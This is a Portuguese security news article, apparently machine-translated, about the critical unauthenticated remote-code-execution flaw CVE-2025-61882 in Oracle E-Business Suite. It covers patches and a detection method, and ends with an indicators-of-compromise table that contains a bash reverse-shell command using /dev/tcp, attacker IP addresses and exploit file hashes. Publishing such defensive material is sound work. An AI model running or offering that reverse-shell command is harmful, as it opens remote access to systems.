Vulnerabilidade do Oracle E-Business Suite 9.8: Atualizações Urgentes Ne

Data: 2025-10-05 19:34:22

Autor: Inteligência Against Invaders

Redazione RHC**:5 outubro 2025 21:29**

A Oracle publicou um comunicado de segurança sobre uma vulnerabilidade crítica identificada como CVE-2025-61882 No **Oracle E-Business Suite** . A falha pode ser explorada **remotamente sem autenticação** , potencialmente permitindo que códigos maliciosos sejam executados em sistemas afetados.

A empresa recomenda que seus clientes **Aplique imediatamente as atualizações descritas** no aviso. A Oracle enfatiza a importância de *Manter* ***Ativamente apoiado*** *versões do produto e instalar todos os patches de segurança críticos imediatamente.* Em particular, atualizando patches críticos lançados em **Outubro de 2023** é um pré-requisito para a implementação de novas correções.

Para apoiar **detecção e contenção imediatas** de possíveis ataques, o alerta inclui uma matriz de risco com **Indicadores de comprometimento** , como endereços IP suspeitos, comandos e arquivos associados a explorações conhecidas.

Produtos afetados e patches disponíveis

O A vulnerabilidade afeta especificamente **Oracle E-Business Suite versões 12.2.3 a 12.2.14** . A documentação oficial, disponível através dos links fornecidos pela Oracle, contém informações detalhadas sobre os patches e como instalá-los.

Suporte e versões legadas

Patches fornecidos por meio do **Alerta de segurança** estão disponíveis apenas para versões cobertas por **Suporte Premier** ou **Suporte estendido** de acordo com a Política de Suporte Vitalício da Oracle.

As versões não incluídas nesses programas não são testadas quanto a vulnerabilidades relatadas, mesmo que ainda possam ser afetadas. Por esse motivo, a Oracle recomenda **Atualizando para versões suportadas** para garantir proteção e compatibilidade com patches de segurança.

Como verificar se você é afetado pelo bug

CVE-2025-61882 Afeta **Oracle E-Business Suite** e é explorável remotamente sem autenticação, resultando potencialmente na execução remota de código se explorado com sucesso.

Um método de detecção público foi publicado em **GitHub** que ajuda a identificar instâncias potencialmente desatualizadas. O método sinaliza uma instância como suspeita quando a página retorna a cadeia de caracteres **“Página inicial do E-Business Suite”** e o HTTP **Última modificação** relatórios de cabeçalho uma data anterior **4 de outubro de 2025** (Carimbo de data/hora do Unix **1759602752**).

Essa abordagem é *descrito como uma ferramenta de detecção, não um vetor de ataque* – e deve ser usado apenas para fins de verificação e defesa. Para reduzir o risco, a Oracle recomenda aplicar os patches descritos no comunicado de segurança e atualizar para as versões suportadas.

Indicadores de Comprometimento (IOC)

Abaixo estão os indicadores de comprometimento (endereços IP, comandos observados e arquivos) para dar suporte à detecção, investigação e contenção imediatas.

Indicador	Tipo	Descrição
200[.]107[.]207[.]26	Propriedade intelectual	Atividade potencial de GET e POST
185[.]181[.]60[.]11	Propriedade intelectual	Atividade potencial de GET e POST
sh -c /bin/bash -i >& /dev/tcp//0>&1	Comando	Estabelecer uma conexão TCP de saída em uma porta específica
76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d	SHA 256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip
aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121	SHA 256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py
6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b	SHA 256	oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py

Redação
A equipe editorial da Red Hot Cyber é composta por um grupo de indivíduos e fontes anônimas que colaboram ativamente para fornecer informações e notícias antecipadas sobre segurança cibernética e computação em geral.

Lista degli articoli